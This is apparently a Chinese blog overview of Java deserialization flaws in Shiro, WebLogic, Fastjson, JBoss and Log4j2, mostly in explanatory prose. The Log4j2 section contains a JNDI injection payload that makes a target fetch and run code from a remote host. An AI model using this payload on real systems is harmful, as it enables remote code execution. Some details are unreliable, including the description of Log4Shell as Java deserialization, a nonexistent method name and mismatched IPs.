java反序列化全家桶
本文最后更新于:2023年12月14日 早上
¶java序列化与反序列化
1、概述
两个进程在远程通信时,可以发送多种数据,包括文本、图片、音频、视频等,这些数据都是以二进制序列的形式在网络上传输。
java是面向对象的开发方式,一切都是java对象,想要在网络中传输java对象,可以使用序列化和反序列化去实现,发送发需要将java对象转换为字节序列,然后在网络上传送,接收方收到字符序列后,会通过反序列化将字节序列恢复成java对象。
序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
1.JDK类库提供的序列化API:
java.io.ObjectOutputStream
表示对象输出流,其中writeObject(Object obj)方法可以将给定参数的obj对象进行序列化,将转换的一连串的字节序列写到指定的目标输出流中。
java.io.ObjectInputStream
该类表示对象输入流,该类下的readObject(Object obj)方法会从源输入流中读取字节序列,并将它反序列化为一个java对象并返回。
2、什么是序列化和反序列化
Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。
在序列化和反序列化中很重要的两个方法writeObject和readObject,这两个方法可以经过开发者的重写,一般开发者们会根据自己的需求来进行重写,然而只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。
在反序列化的时候readObject中代码会自动执行,如果readObject插入命令执行的代码,也就执行,就产生了安全漏洞。
所以从根本上来说,Java 反序列化的漏洞的与readObject有关。
¶条件
共同条件继承Serializable
入口类source(重写readObject参数类型宽泛最好jdk自带)调用链gadget chain
执行类sink(rce ssf 写文件等等)
shiro
Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理。Shiro首要的和最重要的目标就是容易使用并且容易理解。
¶shiro的身份认证工作流程
通过前端传入的值,
获取rememberMe cookie
base64解密
AES解密 (对称加解密)
反序列化
¶shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro-550 反序列化漏洞 CVE-2016-4437
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的Cookie,在服务端对rememberMe的Cookie值先base64解码然后AES解密在反序列化,就导致了反序列化RCE漏洞
流程
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。
Shiro-721 反序列化漏洞 Shiro Padding Oracle Attack
漏洞详情
Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
¶shiro的特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
weblogic
详细原理参考文章:https://www.bilibili.com/read/cv17256282/
用途:用于解析java,部署大型分布式Web应用的Web中间件
¶XMLDecoder反序列化漏洞
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async。
¶T3协议反序列化漏洞
开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,利用RMI绕过weblogic的黑名单限制,通过readObject解析加载的内容,获取目标服务器权限。
T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
RMI:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)
Fastjson
¶什么是Fastjson?
fastjson介绍:fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。FastJson是啊里巴巴的的开源库,用与对JSON格式的数据进行解析和打包。
fastjson在解析json过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl中有一个私有属性 _bytecodes,其部分方法会执行这个值中包含的Java字节码。
¶指纹特征
¶有回显
通过构造错误的POST请求体,服务器返回报错中查看是否存在fastjson字样
无回显
方法一:通过DOS延迟方式
fastjson在版本<1.2.60在取不到值的时候会填充\u001a,发生DOS,我们可以构造请求,通过响应延迟来判断是否使用的fastjson
方法二:通过DNS回显方式
通过DNS回显的方式检测后端是否使用的fastjson
¶小技巧
如何判断使用的Fastjson还是Jackson?
Jackson相对比较严格,强制key和javabean属性对齐,只能少不能多key
¶Fastjson反序列化漏洞
Fastjson在序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列。
Fastjson在反序列化的时候,会调用成员变量的set方法,public修饰的成员全部自动赋值。
原理:由于它在反序列一个对象的时候会去自动调用这个对象的set方法,所以如果这个set方法中有一些危险的操作,那么就会导致漏洞的产生。
漏洞原理
fastjson就是为了知道传入的值是水果里的苹果类型还是水果里的苹果手机类型。加了autotype机制导致的。因为他为了知道是什么详细类型,每次都需要读取下@type导致的。
Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
利用思路:上面说了在fastjson反序列化的时候会自动调用对象的set方法,所以我们就有了利用思路,如果我们可以找到一个类,并且这个类中有set方法,这个类的set方法中有一些敏感操作,并且每次运行任意java代码的时候又必须调用这个类,那我们就可以利用这个漏洞了。
经过大佬的总结,以下这几个类就是我们上面所说的类(这些类都是jdk中的,也就是说不管你运行什么样的代码,它都会调用下面这几个类):
com.sun.rowset
JdbcRowSetlmpl
Templateslmpl
com.sun.org.apache.xalan.internal.xsltc.trax
JNDI提供了 查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等
JNDI注入发生在客户端的lookup()中,如果lookup()的参数可控即可导致被攻击
Jboss反序列化漏洞
CVE-2017-12149
漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
CVE-2017-7504
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
log4j2(CVE-2021-44228)
Apache Log4j 2.x <= 2.14.1
¶什么是log4j2?
log4j2是java中一个流行的的日志框架,可以在服务中记录日志消息,提供了多种方式来记录和处理日志数据,使开发人员可以轻松的生成和管理大量日志信息
¶漏洞原理
由于log4j2库中的JNDI查询功能存在反序列化漏洞,具体来说是由于log4j2在处理日志事件时,使用了java反序列化机制(java Serialization)对java的对象和反序列化操作,没有对反序列化中的过程做安全的验证措施。
导致可以构造恶意的JNDI名称的特殊日志来触发log4j2库中的JndiLookup.deserialized()方法调用,在执行反序操作时,可以利用java反序列漏洞,将恶意的代码注入到反序列化对象中,从而实现远程命令攻击。
¶漏洞的利用流程:
1、向目标发送HTTP请求,其中请求包含了由${}字符构成的payload
2、web服务接受到请求后,会将payload作为参数传入到logh4j2组件中的日志格式化方法
3、log4j2在格式化日志的时候会解析payload内容,从而根据payload的JNDI协议访问了远程服务器地址
4、远程服务器收到了log4j2发送的请求,返回恶意的代码
5、收到了恶意的代码,并执行漏洞攻击原理
¶原理概述
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp 解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找 在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入 攻击者就可以通过shell实现任意的命令执行,造成严重危害。
JNDI:Java Naming and Directory Interface,即Java命名和目录接口。JNDI包含了一些标准API接口,Java程序可以通过这些接口来访问命名目录服务。它提供了一致的模型来存取和操作企业级的资源如DNS和LDAP。
参考链接:
https://blog.csdn.net/zhuyi666/article/details/129466774
https://blog.csdn.net/Aaron_Miller/article/details/106538764
https://blog.csdn.net/Aaron_Miller/article/details/106657746
https://blog.csdn.net/rfrder/article/details/119899231